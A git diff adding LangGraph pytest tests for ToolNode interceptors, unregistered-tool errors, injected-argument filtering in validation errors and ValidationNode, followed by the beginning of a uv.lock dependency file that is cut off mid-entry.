+def test_interceptor_exception_with_unregistered_tool() -> None: + """Test that interceptor exceptions are caught by error handling.""" + + def failing_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Interceptor that throws exception for unregistered tools.""" + if request.tool_call["name"] == "bad_tool": + msg = "Interceptor failed" + raise ValueError(msg) + return execute(request) + + node = ToolNode( + [registered_tool], wrap_tool_call=failing_interceptor, handle_tool_errors=True + ) + + # Interceptor exception should be caught and converted to error message + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "bad_tool", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert len(result) == 1 + assert result[0].status == "error" + assert "Interceptor failed" in result[0].content + assert result[0].tool_call_id == "1" + + # Test that exception is raised when handle_tool_errors is False + node_no_handling = ToolNode( + [registered_tool], wrap_tool_call=failing_interceptor, handle_tool_errors=False + ) + + with pytest.raises(ValueError, match="Interceptor failed"): + node_no_handling.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "bad_tool", + "args": {}, + "id": "2", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + +async def test_async_interceptor_exception_with_unregistered_tool() -> None: + """Test that async interceptor exceptions are caught by error handling.""" + + async def failing_async_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]], + ) -> ToolMessage | Command: + """Async interceptor that throws exception for unregistered tools.""" + if request.tool_call["name"] == "bad_async_tool": + msg = "Async interceptor failed" + raise RuntimeError(msg) + return await execute(request) + + node = ToolNode( + [registered_tool], + awrap_tool_call=failing_async_interceptor, + handle_tool_errors=True, + ) + + # Interceptor exception should be caught and converted to error message + result = await node.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "bad_async_tool", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert len(result) == 1 + assert result[0].status == "error" + assert "Async interceptor failed" in result[0].content + assert result[0].tool_call_id == "1" + + # Test that exception is raised when handle_tool_errors is False + node_no_handling = ToolNode( + [registered_tool], + awrap_tool_call=failing_async_interceptor, + handle_tool_errors=False, + ) + + with pytest.raises(RuntimeError, match="Async interceptor failed"): + await node_no_handling.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "bad_async_tool", + "args": {}, + "id": "2", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + +def test_interceptor_with_dict_input_format() -> None: + """Test that interceptor works with dict input format.""" + + def interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Intercept unregistered tools with dict input.""" + if request.tool_call["name"] == "dict_tool": + return ToolMessage( + content="Handled dict input", + tool_call_id=request.tool_call["id"], + name="dict_tool", + ) + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=interceptor) + + # Test with dict input format + result = node.invoke( + { + "messages": [ + AIMessage( + "", + tool_calls=[ + { + "name": "dict_tool", + "args": {"value": 5}, + "id": "1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should return dict format output + assert isinstance(result, dict) + assert "messages" in result + assert len(result["messages"]) == 1 + assert result["messages"][0].content == "Handled dict input" + assert result["messages"][0].tool_call_id == "1" + + +def test_interceptor_verifies_tool_is_none_for_unregistered() -> None: + """Test that request.tool is None for unregistered tools.""" + + captured_requests: list[ToolCallRequest] = [] + + def capturing_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Capture request to verify tool field.""" + captured_requests.append(request) + if request.tool is None: + # Tool is unregistered + return ToolMessage( + content=f"Unregistered: {request.tool_call['name']}", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + # Tool is registered + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=capturing_interceptor) + + # Test unregistered tool + node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "unknown_tool", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert len(captured_requests) == 1 + assert captured_requests[0].tool is None + assert captured_requests[0].tool_call["name"] == "unknown_tool" + + # Clear and test registered tool + captured_requests.clear() + node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "registered_tool", + "args": {"x": 10}, + "id": "2", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert len(captured_requests) == 1 + assert captured_requests[0].tool is not None + assert captured_requests[0].tool.name == "registered_tool" + + +def test_wrap_tool_call_override_unregistered_tool_with_custom_impl() -> None: + """Test that wrap_tool_call can provide custom implementation for unregistered tool.""" + called = False + + @dec_tool + def custom_tool_impl() -> str: + """Custom tool implementation.""" + nonlocal called + called = True + return "custom result" + + def hook( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + if request.tool_call["name"] == "custom_tool": + assert request.tool is None # Unregistered tools have tool=None + return execute(request.override(tool=custom_tool_impl)) + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=hook) + + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + {"name": "custom_tool", "args": {}, "id": "1", "type": "tool_call"} + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert called + assert result[0].content == "custom result" + assert result[0].tool_call_id == "1" + + +async def test_awrap_tool_call_override_unregistered_tool_with_custom_impl() -> None: + """Test that awrap_tool_call can provide custom implementation for unregistered tool.""" + called = False + + @dec_tool + def custom_async_tool_impl() -> str: + """Custom async tool implementation.""" + nonlocal called + called = True + return "async custom result" + + async def hook( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]], + ) -> ToolMessage | Command: + if request.tool_call["name"] == "custom_async_tool": + assert request.tool is None # Unregistered tools have tool=None + return await execute(request.override(tool=custom_async_tool_impl)) + return await execute(request) + + node = ToolNode([registered_tool], awrap_tool_call=hook) + + result = await node.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "custom_async_tool", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert called + assert result[0].content == "async custom result" + assert result[0].tool_call_id == "1" + + +def test_graceful_failure_when_hook_does_not_override_unregistered_tool_sync() -> None: + """Test graceful failure when hook doesn't override unregistered tool.""" + + def passthrough_hook( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + return execute(request) + + node = ToolNode( + [registered_tool], + wrap_tool_call=passthrough_hook, + handle_tool_errors=True, + ) + + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + {"name": "nonexistent", "args": {}, "id": "1", "type": "tool_call"} + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert result[0].status == "error" + assert result[0].tool_call_id == "1" + assert ( + result[0].content + == "Error: nonexistent is not a valid tool, try one of [registered_tool]." + ) + + +def test_graceful_failure_even_when_handle_errors_disabled_sync() -> None: + """Test that unregistered tool validation returns error even with handle_tool_errors=False.""" + + def passthrough_hook( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + return execute(request) + + node = ToolNode( + [registered_tool], + wrap_tool_call=passthrough_hook, + handle_tool_errors=False, + ) + + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + {"name": "missing", "args": {}, "id": "1", "type": "tool_call"} + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert result[0].status == "error" + assert ( + result[0].content + == "Error: missing is not a valid tool, try one of [registered_tool]." + ) + + +async def test_graceful_failure_when_hook_does_not_override_unregistered_tool_async() -> ( + None +): + """Test graceful failure when async hook doesn't override unregistered tool.""" + + async def passthrough_hook( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]], + ) -> ToolMessage | Command: + return await execute(request) + + node = ToolNode( + [registered_tool], + awrap_tool_call=passthrough_hook, + handle_tool_errors=True, + ) + + result = await node.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + {"name": "unknown", "args": {}, "id": "1", "type": "tool_call"} + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert result[0].status == "error" + assert result[0].tool_call_id == "1" + assert ( + result[0].content + == "Error: unknown is not a valid tool, try one of [registered_tool]." + ) + + +async def test_graceful_failure_even_when_handle_errors_disabled_async() -> None: + """Test that async unregistered tool validation returns error even with handle_tool_errors=False.""" + + async def passthrough_hook( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]], + ) -> ToolMessage | Command: + return await execute(request) + + node = ToolNode( + [registered_tool], + awrap_tool_call=passthrough_hook, + handle_tool_errors=False, + ) + + result = await node.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + {"name": "missing", "args": {}, "id": "1", "type": "tool_call"} + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert result[0].status == "error" + assert ( + result[0].content + == "Error: missing is not a valid tool, try one of [registered_tool]." + ) diff --git a/libs/prebuilt/tests/test_tool_node_validation_error_filtering.py b/libs/prebuilt/tests/test_tool_node_validation_error_filtering.py new file mode 100644 index 0000000..af2fd00 --- /dev/null +++ b/libs/prebuilt/tests/test_tool_node_validation_error_filtering.py @@ -0,0 +1,470 @@ +"""Unit tests for ValidationError filtering in ToolNode. + +This module tests that validation errors are filtered to only include arguments +that the LLM controls. Injected arguments (InjectedState, InjectedStore, +ToolRuntime) are automatically provided by the system and should not appear in +validation error messages. This ensures the LLM receives focused, actionable +feedback about the parameters it can actually control, improving error correction +and reducing confusion from irrelevant system implementation details. +""" + +from typing import Annotated +from unittest.mock import Mock + +import pytest +from langchain_core.messages import AIMessage +from langchain_core.runnables.config import RunnableConfig +from langchain_core.tools import tool as dec_tool +from langgraph.store.base import BaseStore +from langgraph.store.memory import InMemoryStore + +from langgraph.prebuilt import InjectedState, InjectedStore, ToolNode, ToolRuntime +from langgraph.prebuilt.tool_node import ToolInvocationError + +pytestmark = pytest.mark.anyio + + +def _create_mock_runtime(store: BaseStore | None = None) -> Mock: + """Create a mock Runtime object for testing ToolNode outside of graph context.""" + mock_runtime = Mock() + mock_runtime.store = store + mock_runtime.context = None + mock_runtime.stream_writer = lambda *args, **kwargs: None + return mock_runtime + + +def _create_config_with_runtime(store: BaseStore | None = None) -> RunnableConfig: + """Create a RunnableConfig with mock Runtime for testing ToolNode.""" + return {"configurable": {"__pregel_runtime": _create_mock_runtime(store)}} + + +async def test_filter_injected_state_validation_errors() -> None: + """Test that validation errors for InjectedState arguments are filtered out. + + InjectedState parameters are not controlled by the LLM, so any validation + errors related to them should not appear in error messages. This ensures + the LLM receives only actionable feedback about its own tool call arguments. + """ + + @dec_tool + def my_tool( + value: int, + state: Annotated[dict, InjectedState], + ) -> str: + """Tool that uses injected state. + + Args: + value: An integer value. + state: The graph state (injected). + """ + return f"value={value}, messages={len(state.get('messages', []))}" + + tool_node = ToolNode([my_tool]) + + # Call with invalid 'value' argument (should be int, not str) + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {"value": "not_an_int"}, # Invalid type + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should get a ToolMessage with error + assert len(result["messages"]) == 1 + tool_message = result["messages"][0] + assert tool_message.status == "error" + assert tool_message.tool_call_id == "call_1" + + # Error should mention 'value' but NOT 'state' (which is injected) + assert "value" in tool_message.content + assert "state" not in tool_message.content.lower() + + +async def test_filter_injected_store_validation_errors() -> None: + """Test that validation errors for InjectedStore arguments are filtered out. + + InjectedStore parameters are not controlled by the LLM, so any validation + errors related to them should not appear in error messages. This keeps + error feedback focused on LLM-controllable parameters. + """ + + @dec_tool + def my_tool( + key: str, + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool that uses injected store. + + Args: + key: A key to look up. + store: The persistent store (injected). + """ + return f"key={key}" + + tool_node = ToolNode([my_tool]) + + # Call with invalid 'key' argument (missing required argument) + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {}, # Missing 'key' + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(store=InMemoryStore()), + ) + + # Should get a ToolMessage with error + assert len(result["messages"]) == 1 + tool_message = result["messages"][0] + assert tool_message.status == "error" + + # Error should mention 'key' is required + assert "key" in tool_message.content.lower() + # The error should be about 'key' field specifically (not about store field) + # Note: 'store' might appear in input_value representation, but the validation + # error itself should only be for 'key' + assert ( + "field required" in tool_message.content.lower() + or "missing" in tool_message.content.lower() + ) + + +async def test_filter_tool_runtime_validation_errors() -> None: + """Test that validation errors for ToolRuntime arguments are filtered out. + + ToolRuntime parameters are not controlled by the LLM, so any validation + errors related to them should not appear in error messages. This ensures + the LLM only sees errors for parameters it can fix. + """ + + @dec_tool + def my_tool( + query: str, + runtime: ToolRuntime, + ) -> str: + """Tool that uses ToolRuntime. + + Args: + query: A query string. + runtime: The tool runtime context (injected). + """ + return f"query={query}" + + tool_node = ToolNode([my_tool]) + + # Call with invalid 'query' argument (wrong type) + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {"query": 123}, # Should be str, not int + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should get a ToolMessage with error + assert len(result["messages"]) == 1 + tool_message = result["messages"][0] + assert tool_message.status == "error" + + # Error should mention 'query' but NOT 'runtime' (which is injected) + assert "query" in tool_message.content.lower() + assert "runtime" not in tool_message.content.lower() + + +async def test_filter_multiple_injected_args() -> None: + """Test filtering when a tool has multiple injected arguments. + + When a tool uses multiple injected parameters (state, store, runtime), none of + them should appear in validation error messages since they're all system-provided + and not controlled by the LLM. Only LLM-controllable parameter errors should appear. + """ + + @dec_tool + def my_tool( + value: int, + state: Annotated[dict, InjectedState], + store: Annotated[BaseStore, InjectedStore()], + runtime: ToolRuntime, + ) -> str: + """Tool with multiple injected arguments. + + Args: + value: An integer value. + state: The graph state (injected). + store: The persistent store (injected). + runtime: The tool runtime context (injected). + """ + return f"value={value}" + + tool_node = ToolNode([my_tool]) + + # Call with invalid 'value' - injected args should be filtered from error + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {"value": "not_an_int"}, + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(store=InMemoryStore()), + ) + + tool_message = result["messages"][0] + assert tool_message.status == "error" + + # Only 'value' error should be reported + assert "value" in tool_message.content + # None of the injected args should appear in error + assert "state" not in tool_message.content.lower() + assert "store" not in tool_message.content.lower() + assert "runtime" not in tool_message.content.lower() + + +async def test_no_filtering_when_all_errors_are_model_args() -> None: + """Test that validation errors for LLM-controlled arguments are preserved. + + When validation fails for arguments the LLM controls, those errors should + be fully reported to help the LLM correct its tool calls. This ensures + the LLM receives complete feedback about all issues it can fix. + """ + + @dec_tool + def my_tool( + value1: int, + value2: str, + state: Annotated[dict, InjectedState], + ) -> str: + """Tool with both regular and injected arguments. + + Args: + value1: First value. + value2: Second value. + state: The graph state (injected). + """ + return f"value1={value1}, value2={value2}" + + tool_node = ToolNode([my_tool]) + + # Call with invalid arguments for BOTH non-injected parameters + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": { + "value1": "not_an_int", # Invalid + "value2": 456, # Invalid (should be str) + }, + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][0] + assert tool_message.status == "error" + + # Both errors should be present + assert "value1" in tool_message.content + assert "value2" in tool_message.content + # Injected state should not appear + assert "state" not in tool_message.content.lower() + + +async def test_validation_error_with_no_injected_args() -> None: + """Test that tools without injected arguments show all validation errors. + + For tools that only have LLM-controlled parameters, all validation errors + should be reported since everything is under the LLM's control and can be + corrected by the LLM in subsequent tool calls. + """ + + @dec_tool + def my_tool(value1: int, value2: str) -> str: + """Regular tool without injected arguments. + + Args: + value1: First value. + value2: Second value. + """ + return f"{value1} {value2}" + + tool_node = ToolNode([my_tool]) + + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {"value1": "invalid", "value2": 123}, + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][0] + assert tool_message.status == "error" + + # Both errors should be present since there are no injected args to filter + assert "value1" in tool_message.content + assert "value2" in tool_message.content + + +async def test_tool_invocation_error_without_handle_errors() -> None: + """Test that ToolInvocationError contains only LLM-controlled parameter errors. + + When handle_tool_errors is False, the raised ToolInvocationError should still + filter out system-injected arguments from the error details, ensuring that + error messages focus on what the LLM can control. + """ + + @dec_tool + def my_tool( + value: int, + state: Annotated[dict, InjectedState], + ) -> str: + """Tool with injected state. + + Args: + value: An integer value. + state: The graph state (injected). + """ + return f"value={value}" + + tool_node = ToolNode([my_tool], handle_tool_errors=False) + + # Should raise ToolInvocationError with filtered errors + with pytest.raises(ToolInvocationError) as exc_info: + await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {"value": "not_an_int"}, + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + error = exc_info.value + assert error.tool_name == "my_tool" + assert error.filtered_errors is not None + assert len(error.filtered_errors) > 0 + + # Filtered errors should only contain 'value' error, not 'state' + error_locs = [err["loc"] for err in error.filtered_errors] + assert any("value" in str(loc) for loc in error_locs) + assert not any("state" in str(loc) for loc in error_locs) + + +async def test_sync_tool_validation_error_filtering() -> None: + """Test that error filtering works for sync tools. + + Error filtering should work identically for both sync and async tool execution, + excluding injected arguments from validation error messages. + """ + + @dec_tool + def my_tool( + value: int, + state: Annotated[dict, InjectedState], + ) -> str: + """Sync tool with injected state. + + Args: + value: An integer value. + state: The graph state (injected). + """ + return f"value={value}" + + tool_node = ToolNode([my_tool]) + + # Test sync invocation + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "my_tool", + "args": {"value": "not_an_int"}, + "id": "call_1", + "type": "tool_call", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][0] + assert tool_message.status == "error" + assert "value" in tool_message.content + assert "state" not in tool_message.content.lower() diff --git a/libs/prebuilt/tests/test_validation_node.py b/libs/prebuilt/tests/test_validation_node.py new file mode 100644 index 0000000..674c96f --- /dev/null +++ b/libs/prebuilt/tests/test_validation_node.py @@ -0,0 +1,88 @@ +import sys +from typing import Any + +import pytest +from langchain_core.messages import AIMessage +from langchain_core.tools import tool as dec_tool +from pydantic import BaseModel +from pydantic.v1 import BaseModel as BaseModelV1 + +from langgraph.prebuilt import ValidationNode + +pytestmark = pytest.mark.anyio + + +def my_function(some_val: int, some_other_val: str) -> str: + return f"{some_val} - {some_other_val}" + + +class MyModel(BaseModel): + some_val: int + some_other_val: str + + +class MyModelV1(BaseModelV1): + some_val: int + some_other_val: str + + +@dec_tool +def my_tool(some_val: int, some_other_val: str) -> str: + """Cool.""" + return f"{some_val} - {some_other_val}" + + +@pytest.mark.parametrize( + "tool_schema", + [ + my_function, + MyModel, + pytest.param( + MyModelV1, + marks=pytest.mark.skipif( + sys.version_info >= (3, 14), + reason="Pydantic v1 not supported in Python 3.14+", + ), + ), + my_tool, + ], +) +@pytest.mark.parametrize("use_message_key", [True, False]) +async def test_validation_node(tool_schema: Any, use_message_key: bool): + validation_node = ValidationNode([tool_schema]) + tool_name = getattr(tool_schema, "name", getattr(tool_schema, "__name__", None)) + inputs = [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": tool_name, + "args": {"some_val": 1, "some_other_val": "foo"}, + "id": "some 0", + }, + { + "name": tool_name, + # Wrong type for some_val + "args": {"some_val": "bar", "some_other_val": "foo"}, + "id": "some 1", + }, + ], + ), + ] + if use_message_key: + inputs = {"messages": inputs} + result = await validation_node.ainvoke(inputs) + if use_message_key: + result = result["messages"] + + def check_results(messages: list): + assert len(messages) == 2 + assert all(m.type == "tool" for m in messages) + assert not messages[0].additional_kwargs.get("is_error") + assert messages[1].additional_kwargs.get("is_error") + + check_results(result) + result_sync = validation_node.invoke(inputs) + if use_message_key: + result_sync = result_sync["messages"] + check_results(result_sync) diff --git a/libs/prebuilt/uv.lock b/libs/prebuilt/uv.lock new file mode 100644 index 0000000..6b60317 --- /dev/null +++ b/libs/prebuilt/uv.lock @@ -0,0 +1,1733 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version < '3.15'", +] + +[[package]] +name = "aiosqlite" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/8a/64761f4005f17809769d23e518d915db74e6310474e733e3593cfc854ef1/aiosqlite-0.22.1.tar.gz", hash = "sha256:043e0bd78d32888c0a9ca90fc788b38796843360c855a7262a532813133a0650", size = 14821, upload-time = "2025-12-23T19:25:43.997Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/b7/e3bf5133d697a08128598c8d0abc5e16377b51465a33756de24fa7dee953/aiosqlite-0.22.1-py3-none-any.whl", hash = "sha256:21c002eb13823fad740196c5a2e9d8e62f6243bd9e7e4a1f87fb5e44ecb4fceb", size = 17405, upload-time = "2025-12-23T19:25:42.139Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.14.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3b/72/5562aabb8dd7181e8e860622a38bea08d17842b99ecd4c91f84ac95251b0/anyio-4.14.1.tar.gz", hash = "sha256:8d648a3544c1a700e3ff78615cd679e4c5c3f149904287e73687b2596963629e", size = 254831, upload-time = "2026-06-24T20:56:06.017Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/7b/90df4a0a816d98d6ea26f559d87836d494a2cf1fcf063be67df50a7bcc30/anyio-4.14.1-py3-none-any.whl", hash = "sha256:4e5533c5b8ff0a24f5d7a176cbe6877129cd183893f66b537f8f227d10527d72", size = 124875, upload-time = "2026-06-24T20:56:04.413Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = 